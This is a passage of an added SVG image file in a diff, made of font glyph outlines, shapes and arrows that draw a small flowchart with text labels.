+<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.1875 C 6.40625 -7.132812 6.289062 -7.851562 6.0625 -8.34375 C 5.84375 -8.84375 5.398438 -9.09375 4.734375 -9.09375 C 4.265625 -9.09375 3.832031 -8.921875 3.4375 -8.578125 C 3.050781 -8.234375 2.789062 -7.804688 2.65625 -7.296875 L 2.65625 0 L 1.203125 0 L 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.203125 L 2.71875 -9.203125 C 2.988281 -9.554688 3.320312 -9.84375 3.71875 -10.0625 C 4.125 -10.289062 4.625 -10.40625 5.21875 -10.40625 C 5.664062 -10.40625 6.054688 -10.34375 6.390625 -10.21875 C 6.722656 -10.101562 7 -9.894531 7.21875 -9.59375 C 7.4375 -9.289062 7.597656 -8.890625 7.703125 -8.390625 C 7.804688 -7.898438 7.859375 -7.289062 7.859375 -6.5625 L 7.859375 0 Z M 6.40625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-20">
+<path style="stroke:none;" d="M 1.296875 -14.234375 L 7.625 -14.234375 L 7.625 -12.828125 L 2.828125 -12.828125 L 2.828125 -7.8125 L 7.296875 -7.8125 L 7.296875 -6.40625 L 2.828125 -6.40625 L 2.828125 0 L 1.296875 0 Z M 1.296875 -14.234375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-21">
+<path style="stroke:none;" d="M 3.71875 4.46875 C 3.207031 3.820312 2.773438 3.109375 2.421875 2.328125 C 2.078125 1.546875 1.796875 0.75 1.578125 -0.0625 C 1.367188 -0.882812 1.210938 -1.710938 1.109375 -2.546875 C 1.015625 -3.378906 0.96875 -4.175781 0.96875 -4.9375 C 0.96875 -5.6875 1.015625 -6.472656 1.109375 -7.296875 C 1.210938 -8.117188 1.367188 -8.945312 1.578125 -9.78125 C 1.796875 -10.613281 2.082031 -11.429688 2.4375 -12.234375 C 2.800781 -13.035156 3.242188 -13.78125 3.765625 -14.46875 L 4.671875 -13.921875 C 4.242188 -13.234375 3.882812 -12.507812 3.59375 -11.75 C 3.3125 -10.988281 3.082031 -10.21875 2.90625 -9.4375 C 2.738281 -8.664062 2.617188 -7.894531 2.546875 -7.125 C 2.472656 -6.351562 2.4375 -5.625 2.4375 -4.9375 C 2.4375 -4.289062 2.476562 -3.578125 2.5625 -2.796875 C 2.644531 -2.015625 2.773438 -1.226562 2.953125 -0.4375 C 3.140625 0.34375 3.375 1.101562 3.65625 1.84375 C 3.9375 2.59375 4.273438 3.265625 4.671875 3.859375 Z M 3.71875 4.46875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-22">
+<path style="stroke:none;" d="M 0.96875 3.859375 C 1.363281 3.265625 1.703125 2.59375 1.984375 1.84375 C 2.273438 1.101562 2.507812 0.34375 2.6875 -0.4375 C 2.875 -1.226562 3.007812 -2.015625 3.09375 -2.796875 C 3.175781 -3.578125 3.21875 -4.289062 3.21875 -4.9375 C 3.21875 -5.625 3.175781 -6.351562 3.09375 -7.125 C 3.019531 -7.894531 2.898438 -8.664062 2.734375 -9.4375 C 2.566406 -10.21875 2.335938 -10.988281 2.046875 -11.75 C 1.753906 -12.507812 1.394531 -13.234375 0.96875 -13.921875 L 1.890625 -14.46875 C 2.398438 -13.78125 2.832031 -13.035156 3.1875 -12.234375 C 3.550781 -11.429688 3.84375 -10.613281 4.0625 -9.78125 C 4.28125 -8.945312 4.4375 -8.117188 4.53125 -7.296875 C 4.625 -6.472656 4.671875 -5.6875 4.671875 -4.9375 C 4.671875 -4.175781 4.625 -3.378906 4.53125 -2.546875 C 4.4375 -1.710938 4.28125 -0.882812 4.0625 -0.0625 C 3.84375 0.75 3.554688 1.546875 3.203125 2.328125 C 2.859375 3.109375 2.4375 3.820312 1.9375 4.46875 Z M 0.96875 3.859375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-23">
+<path style="stroke:none;" d="M 8.734375 -0.546875 C 8.398438 -0.265625 7.972656 -0.0625 7.453125 0.0625 C 6.941406 0.1875 6.398438 0.25 5.828125 0.25 C 5.109375 0.25 4.441406 0.113281 3.828125 -0.15625 C 3.222656 -0.425781 2.703125 -0.859375 2.265625 -1.453125 C 1.828125 -2.046875 1.484375 -2.804688 1.234375 -3.734375 C 0.992188 -4.671875 0.875 -5.796875 0.875 -7.109375 C 0.875 -8.460938 1.007812 -9.609375 1.28125 -10.546875 C 1.5625 -11.484375 1.929688 -12.242188 2.390625 -12.828125 C 2.859375 -13.410156 3.394531 -13.828125 4 -14.078125 C 4.601562 -14.335938 5.222656 -14.46875 5.859375 -14.46875 C 6.503906 -14.46875 7.039062 -14.421875 7.46875 -14.328125 C 7.894531 -14.234375 8.265625 -14.117188 8.578125 -13.984375 L 8.21875 -12.609375 C 7.945312 -12.753906 7.625 -12.867188 7.25 -12.953125 C 6.882812 -13.035156 6.46875 -13.078125 6 -13.078125 C 5.519531 -13.078125 5.070312 -12.96875 4.65625 -12.75 C 4.238281 -12.539062 3.863281 -12.203125 3.53125 -11.734375 C 3.207031 -11.265625 2.953125 -10.648438 2.765625 -9.890625 C 2.578125 -9.140625 2.484375 -8.210938 2.484375 -7.109375 C 2.484375 -5.128906 2.820312 -3.640625 3.5 -2.640625 C 4.175781 -1.648438 5.078125 -1.15625 6.203125 -1.15625 C 6.660156 -1.15625 7.070312 -1.21875 7.4375 -1.34375 C 7.800781 -1.476562 8.113281 -1.632812 8.375 -1.8125 Z M 8.734375 -0.546875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-24">
+<path style="stroke:none;" d="M 3.421875 -4.578125 L 2.65625 -4.578125 L 2.65625 0 L 1.203125 0 L 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -5.5625 L 3.328125 -5.859375 L 5.71875 -10.15625 L 7.40625 -10.15625 L 5 -6.0625 L 4.296875 -5.40625 L 5.125 -4.609375 L 7.75 0 L 5.96875 0 Z M 3.421875 -4.578125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-25">
+<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-26">
+<path style="stroke:none;" d="M 7.609375 4.0625 L 6.140625 4.0625 L 6.140625 -0.828125 L 6.0625 -0.828125 C 5.84375 -0.492188 5.566406 -0.226562 5.234375 -0.03125 C 4.898438 0.15625 4.46875 0.25 3.9375 0.25 C 2.875 0.25 2.078125 -0.179688 1.546875 -1.046875 C 1.015625 -1.910156 0.75 -3.242188 0.75 -5.046875 C 0.75 -6.785156 1.09375 -8.101562 1.78125 -9 C 2.476562 -9.894531 3.484375 -10.34375 4.796875 -10.34375 C 5.367188 -10.34375 5.910156 -10.273438 6.421875 -10.140625 C 6.941406 -10.003906 7.335938 -9.863281 7.609375 -9.71875 Z M 6.140625 -8.6875 C 5.753906 -8.914062 5.21875 -9.03125 4.53125 -9.03125 C 3.820312 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.40625 2.28125 -5.0625 C 2.28125 -4.488281 2.3125 -3.957031 2.375 -3.46875 C 2.445312 -2.988281 2.5625 -2.566406 2.71875 -2.203125 C 2.875 -1.847656 3.078125 -1.570312 3.328125 -1.375 C 3.578125 -1.175781 3.882812 -1.078125 4.25 -1.078125 C 4.757812 -1.078125 5.164062 -1.222656 5.46875 -1.515625 C 5.769531 -1.816406 5.992188 -2.253906 6.140625 -2.828125 Z M 6.140625 -8.6875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-27">
+<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-28">
+<path style="stroke:none;" d="M 1.203125 -1.890625 C 1.453125 -1.710938 1.8125 -1.546875 2.28125 -1.390625 C 2.75 -1.234375 3.28125 -1.15625 3.875 -1.15625 C 4.632812 -1.15625 5.25 -1.34375 5.71875 -1.71875 C 6.195312 -2.09375 6.4375 -2.675781 6.4375 -3.46875 C 6.4375 -4 6.300781 -4.460938 6.03125 -4.859375 C 5.757812 -5.253906 5.421875 -5.613281 5.015625 -5.9375 C 4.609375 -6.269531 4.171875 -6.597656 3.703125 -6.921875 C 3.242188 -7.242188 2.804688 -7.597656 2.390625 -7.984375 C 1.984375 -8.367188 1.644531 -8.8125 1.375 -9.3125 C 1.101562 -9.8125 0.96875 -10.414062 0.96875 -11.125 C 0.96875 -12.257812 1.3125 -13.097656 2 -13.640625 C 2.6875 -14.191406 3.578125 -14.46875 4.671875 -14.46875 C 5.347656 -14.46875 5.953125 -14.40625 6.484375 -14.28125 C 7.015625 -14.164062 7.441406 -14.015625 7.765625 -13.828125 L 7.28125 -12.484375 C 7.03125 -12.628906 6.675781 -12.765625 6.21875 -12.890625 C 5.769531 -13.015625 5.25 -13.078125 4.65625 -13.078125 C 3.925781 -13.078125 3.382812 -12.894531 3.03125 -12.53125 C 2.675781 -12.175781 2.5 -11.726562 2.5 -11.1875 C 2.5 -10.707031 2.632812 -10.285156 2.90625 -9.921875 C 3.175781 -9.554688 3.515625 -9.207031 3.921875 -8.875 C 4.328125 -8.550781 4.765625 -8.222656 5.234375 -7.890625 C 5.703125 -7.566406 6.140625 -7.203125 6.546875 -6.796875 C 6.953125 -6.390625 7.289062 -5.925781 7.5625 -5.40625 C 7.832031 -4.894531 7.96875 -4.285156 7.96875 -3.578125 C 7.96875 -2.378906 7.613281 -1.441406 6.90625 -0.765625 C 6.207031 -0.0859375 5.210938 0.25 3.921875 0.25 C 3.109375 0.25 2.441406 0.171875 1.921875 0.015625 C 1.398438 -0.128906 0.984375 -0.296875 0.671875 -0.484375 Z M 1.203125 -1.890625 "/>
+</symbol>
+</g>
+</defs>
+<g id="surface5171">
+<rect x="0" y="0" width="1101" height="520" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-dasharray:0.2,0.2;stroke-miterlimit:10;" d="M 0 0 L 55 0 L 55 25.932422 L 0 25.932422 Z M 0 0 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 44.3 16.932422 C 44.134375 16.932422 44 17.066797 44 17.232422 L 44 19.817773 C 44 19.983398 44.134375 20.117773 44.3 20.117773 L 49.7 20.117773 C 49.865625 20.117773 50 19.983398 50 19.817773 L 50 17.232422 C 50 17.066797 49.865625 16.932422 49.7 16.932422 Z M 44.3 16.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="893.851562" y="379.490723"/>
+  <use xlink:href="#glyph0-2" x="901.390082" y="379.490723"/>
+  <use xlink:href="#glyph0-3" x="910.168294" y="379.490723"/>
+  <use xlink:href="#glyph0-4" x="918.946506" y="379.490723"/>
+  <use xlink:href="#glyph0-5" x="923.355957" y="379.490723"/>
+  <use xlink:href="#glyph0-6" x="932.276313" y="379.490723"/>
+  <use xlink:href="#glyph0-7" x="936.584039" y="379.490723"/>
+  <use xlink:href="#glyph0-8" x="943.451986" y="379.490723"/>
+  <use xlink:href="#glyph0-9" x="952.270888" y="379.490723"/>
+  <use xlink:href="#glyph0-9" x="959.15918" y="379.490723"/>
+  <use xlink:href="#glyph0-10" x="966.047472" y="379.490723"/>
+  <use xlink:href="#glyph0-7" x="974.439399" y="379.490723"/>
+  <use xlink:href="#glyph0-7" x="981.307346" y="379.490723"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15.3 21.932422 C 15.134375 21.932422 15 22.066797 15 22.232422 L 15 24.817773 C 15 24.983398 15.134375 25.117773 15.3 25.117773 L 20.7 25.117773 C 20.865625 25.117773 21 24.983398 21 24.817773 L 21 22.232422 C 21 22.066797 20.865625 21.932422 20.7 21.932422 Z M 15.3 21.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="317.015625" y="479.490723"/>
+  <use xlink:href="#glyph0-2" x="324.554145" y="479.490723"/>
+  <use xlink:href="#glyph0-3" x="333.332357" y="479.490723"/>
+  <use xlink:href="#glyph0-4" x="342.110569" y="479.490723"/>
+  <use xlink:href="#glyph0-5" x="346.52002" y="479.490723"/>
+  <use xlink:href="#glyph0-6" x="355.440375" y="479.490723"/>
+  <use xlink:href="#glyph0-11" x="359.748101" y="479.490723"/>
+  <use xlink:href="#glyph0-12" x="364.970269" y="479.490723"/>
+  <use xlink:href="#glyph0-4" x="373.098253" y="479.490723"/>
+  <use xlink:href="#glyph0-13" x="377.507704" y="479.490723"/>
+  <use xlink:href="#glyph0-8" x="382.242133" y="479.490723"/>
+  <use xlink:href="#glyph0-14" x="391.061035" y="479.490723"/>
+  <use xlink:href="#glyph0-10" x="396.628526" y="479.490723"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 47.016406 20.167969 L 47.032227 21.733203 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 46.782227 21.735547 L 47.037305 22.233008 L 47.282227 21.730664 Z M 46.782227 21.735547 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 21.05 23.522852 L 43.5 23.505469 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 43.500195 23.755469 L 44 23.505078 L 43.499805 23.255469 Z M 43.500195 23.755469 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 45.05 22.332422 L 49.05 22.332422 C 49.602344 22.332422 50.05 22.857422 50.05 23.504883 C 50.05 24.152539 49.602344 24.677344 49.05 24.677344 L 45.05 24.677344 C 44.497656 24.677344 44.05 24.152539 44.05 23.504883 C 44.05 22.857422 44.497656 22.332422 45.05 22.332422 Z M 45.05 22.332422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-15" x="908.992188" y="479.088379"/>
+  <use xlink:href="#glyph0-10" x="917.952962" y="479.088379"/>
+  <use xlink:href="#glyph0-7" x="926.344889" y="479.088379"/>
+  <use xlink:href="#glyph0-16" x="933.212836" y="479.088379"/>
+  <use xlink:href="#glyph0-2" x="942.051812" y="479.088379"/>
+  <use xlink:href="#glyph0-5" x="950.830024" y="479.088379"/>
+  <use xlink:href="#glyph0-7" x="959.75038" y="479.088379"/>
+  <use xlink:href="#glyph0-10" x="966.618327" y="479.088379"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(92.54902%,74.509805%,75.294119%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 2.3 21.932422 C 2.134375 21.932422 2 22.066797 2 22.232422 L 2 24.817773 C 2 24.983398 2.134375 25.117773 2.3 25.117773 L 11.7 25.117773 C 11.865625 25.117773 12 24.983398 12 24.817773 L 12 22.232422 C 12 22.066797 11.865625 21.932422 11.7 21.932422 Z M 2.3 21.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-2" x="51.546875" y="479.490723"/>
+  <use xlink:href="#glyph0-5" x="60.325087" y="479.490723"/>
+  <use xlink:href="#glyph0-17" x="69.245443" y="479.490723"/>
+  <use xlink:href="#glyph0-8" x="78.856717" y="479.490723"/>
+  <use xlink:href="#glyph0-18" x="87.675618" y="479.490723"/>
+  <use xlink:href="#glyph0-19" x="93.263455" y="479.490723"/>
+  <use xlink:href="#glyph0-10" x="102.204156" y="479.490723"/>
+  <use xlink:href="#glyph0-5" x="110.596083" y="479.490723"/>
+  <use xlink:href="#glyph0-18" x="119.516439" y="479.490723"/>
+  <use xlink:href="#glyph0-4" x="125.104275" y="479.490723"/>
+  <use xlink:href="#glyph0-9" x="129.513726" y="479.490723"/>
+  <use xlink:href="#glyph0-12" x="136.747613" y="479.490723"/>
+  <use xlink:href="#glyph0-18" x="144.875597" y="479.490723"/>
+  <use xlink:href="#glyph0-4" x="150.463433" y="479.490723"/>
+  <use xlink:href="#glyph0-2" x="154.872884" y="479.490723"/>
+  <use xlink:href="#glyph0-5" x="163.651096" y="479.490723"/>
+  <use xlink:href="#glyph0-20" x="172.571452" y="479.490723"/>
+  <use xlink:href="#glyph0-12" x="180.963379" y="479.490723"/>
+  <use xlink:href="#glyph0-4" x="189.091363" y="479.490723"/>
+  <use xlink:href="#glyph0-13" x="193.500814" y="479.490723"/>
+  <use xlink:href="#glyph0-8" x="198.235243" y="479.490723"/>
+  <use xlink:href="#glyph0-14" x="207.054145" y="479.490723"/>
+  <use xlink:href="#glyph0-10" x="212.621636" y="479.490723"/>
+  <use xlink:href="#glyph0-21" x="221.013563" y="479.490723"/>
+  <use xlink:href="#glyph0-22" x="225.747993" y="479.490723"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-dasharray:0.2,0.2;stroke-miterlimit:10;" d="M 7 14.932422 L 7 21.382422 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 6.75 21.382422 L 7 21.882422 L 7.25 21.382422 Z M 6.75 21.382422 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-dasharray:0.2,0.2;stroke-miterlimit:10;" d="M 1 3.932422 L 54 3.932422 L 54 14.932422 L 1 14.932422 Z M 1 3.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 3.3 4.932422 C 3.134375 4.932422 3 5.066797 3 5.232422 L 3 7.817773 C 3 7.983398 3.134375 8.117773 3.3 8.117773 L 10.752539 8.117773 C 10.918164 8.117773 11.052539 7.983398 11.052539 7.817773 L 11.052539 5.232422 C 11.052539 5.066797 10.918164 4.932422 10.752539 4.932422 Z M 3.3 4.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-12" x="92.8125" y="139.490723"/>
+  <use xlink:href="#glyph0-8" x="100.940484" y="139.490723"/>
+  <use xlink:href="#glyph0-18" x="109.759386" y="139.490723"/>
+  <use xlink:href="#glyph0-19" x="115.347222" y="139.490723"/>
+  <use xlink:href="#glyph0-10" x="124.287923" y="139.490723"/>
+  <use xlink:href="#glyph0-5" x="132.67985" y="139.490723"/>
+  <use xlink:href="#glyph0-18" x="141.600206" y="139.490723"/>
+  <use xlink:href="#glyph0-4" x="147.188043" y="139.490723"/>
+  <use xlink:href="#glyph0-9" x="151.597493" y="139.490723"/>
+  <use xlink:href="#glyph0-12" x="158.83138" y="139.490723"/>
+  <use xlink:href="#glyph0-18" x="166.959364" y="139.490723"/>
+  <use xlink:href="#glyph0-10" x="172.38444" y="139.490723"/>
+  <use xlink:href="#glyph0-21" x="180.776367" y="139.490723"/>
+  <use xlink:href="#glyph0-22" x="185.510796" y="139.490723"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 4.3 10.932422 C 4.134375 10.932422 4 11.066797 4 11.232422 L 4 13.817773 C 4 13.983398 4.134375 14.117773 4.3 14.117773 L 9.7 14.117773 C 9.865625 14.117773 10 13.983398 10 13.817773 L 10 11.232422 C 10 11.066797 9.865625 10.932422 9.7 10.932422 Z M 4.3 10.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-23" x="88.324219" y="259.490723"/>
+  <use xlink:href="#glyph0-19" x="97.630588" y="259.490723"/>
+  <use xlink:href="#glyph0-10" x="106.571289" y="259.490723"/>
+  <use xlink:href="#glyph0-9" x="114.800456" y="259.490723"/>
+  <use xlink:href="#glyph0-24" x="122.034342" y="259.490723"/>
+  <use xlink:href="#glyph0-6" x="129.430718" y="259.490723"/>
+  <use xlink:href="#glyph0-16" x="133.738444" y="259.490723"/>
+  <use xlink:href="#glyph0-12" x="142.57742" y="259.490723"/>
+  <use xlink:href="#glyph0-7" x="150.705404" y="259.490723"/>
+  <use xlink:href="#glyph0-7" x="157.573351" y="259.490723"/>
+  <use xlink:href="#glyph0-16" x="164.441298" y="259.490723"/>
+  <use xlink:href="#glyph0-2" x="173.280273" y="259.490723"/>
+  <use xlink:href="#glyph0-14" x="182.058485" y="259.490723"/>
+  <use xlink:href="#glyph0-18" x="188.113444" y="259.490723"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 24.3 10.932422 C 24.134375 10.932422 24 11.066797 24 11.232422 L 24 13.817773 C 24 13.983398 24.134375 14.117773 24.3 14.117773 L 29.7 14.117773 C 29.865625 14.117773 30 13.983398 30 13.817773 L 30 11.232422 C 30 11.066797 29.865625 10.932422 29.7 10.932422 Z M 24.3 10.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-17" x="489.339844" y="246.791504"/>
+  <use xlink:href="#glyph0-8" x="498.951118" y="246.791504"/>
+  <use xlink:href="#glyph0-18" x="507.77002" y="246.791504"/>
+  <use xlink:href="#glyph0-19" x="513.357856" y="246.791504"/>
+  <use xlink:href="#glyph0-10" x="522.298557" y="246.791504"/>
+  <use xlink:href="#glyph0-5" x="530.690484" y="246.791504"/>
+  <use xlink:href="#glyph0-18" x="539.61084" y="246.791504"/>
+  <use xlink:href="#glyph0-4" x="545.198676" y="246.791504"/>
+  <use xlink:href="#glyph0-9" x="549.608127" y="246.791504"/>
+  <use xlink:href="#glyph0-12" x="556.842014" y="246.791504"/>
+  <use xlink:href="#glyph0-18" x="564.969998" y="246.791504"/>
+  <use xlink:href="#glyph0-4" x="570.557834" y="246.791504"/>
+  <use xlink:href="#glyph0-2" x="574.967285" y="246.791504"/>
+  <use xlink:href="#glyph0-5" x="583.745497" y="246.791504"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-18" x="493.285156" y="272.189941"/>
+  <use xlink:href="#glyph0-2" x="498.710232" y="272.189941"/>
+  <use xlink:href="#glyph0-24" x="507.488444" y="272.189941"/>
+  <use xlink:href="#glyph0-10" x="515.169108" y="272.189941"/>
+  <use xlink:href="#glyph0-5" x="523.561035" y="272.189941"/>
+  <use xlink:href="#glyph0-6" x="532.481391" y="272.189941"/>
+  <use xlink:href="#glyph0-9" x="536.789117" y="272.189941"/>
+  <use xlink:href="#glyph0-14" x="544.023003" y="272.189941"/>
+  <use xlink:href="#glyph0-10" x="549.590495" y="272.189941"/>
+  <use xlink:href="#glyph0-12" x="557.982422" y="272.189941"/>
+  <use xlink:href="#glyph0-18" x="566.110406" y="272.189941"/>
+  <use xlink:href="#glyph0-10" x="571.535482" y="272.189941"/>
+  <use xlink:href="#glyph0-25" x="579.927409" y="272.189941"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 33.3 10.932422 C 33.134375 10.932422 33 11.066797 33 11.232422 L 33 13.817773 C 33 13.983398 33.134375 14.117773 33.3 14.117773 L 38.7 14.117773 C 38.865625 14.117773 39 13.983398 39 13.817773 L 39 11.232422 C 39 11.066797 38.865625 10.932422 38.7 10.932422 Z M 33.3 10.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-17" x="669.339844" y="246.791504"/>
+  <use xlink:href="#glyph0-8" x="678.951118" y="246.791504"/>
+  <use xlink:href="#glyph0-18" x="687.77002" y="246.791504"/>
+  <use xlink:href="#glyph0-19" x="693.357856" y="246.791504"/>
+  <use xlink:href="#glyph0-10" x="702.298557" y="246.791504"/>
+  <use xlink:href="#glyph0-5" x="710.690484" y="246.791504"/>
+  <use xlink:href="#glyph0-18" x="719.61084" y="246.791504"/>
+  <use xlink:href="#glyph0-4" x="725.198676" y="246.791504"/>
+  <use xlink:href="#glyph0-9" x="729.608127" y="246.791504"/>
+  <use xlink:href="#glyph0-12" x="736.842014" y="246.791504"/>
+  <use xlink:href="#glyph0-18" x="744.969998" y="246.791504"/>
+  <use xlink:href="#glyph0-4" x="750.557834" y="246.791504"/>
+  <use xlink:href="#glyph0-2" x="754.967285" y="246.791504"/>
+  <use xlink:href="#glyph0-5" x="763.745497" y="246.791504"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-7" x="695.21875" y="272.189941"/>
+  <use xlink:href="#glyph0-8" x="702.086697" y="272.189941"/>
+  <use xlink:href="#glyph0-9" x="710.905599" y="272.189941"/>
+  <use xlink:href="#glyph0-9" x="717.793891" y="272.189941"/>
+  <use xlink:href="#glyph0-10" x="724.682183" y="272.189941"/>
+  <use xlink:href="#glyph0-7" x="733.07411" y="272.189941"/>
+  <use xlink:href="#glyph0-7" x="739.942057" y="272.189941"/>
+</g>
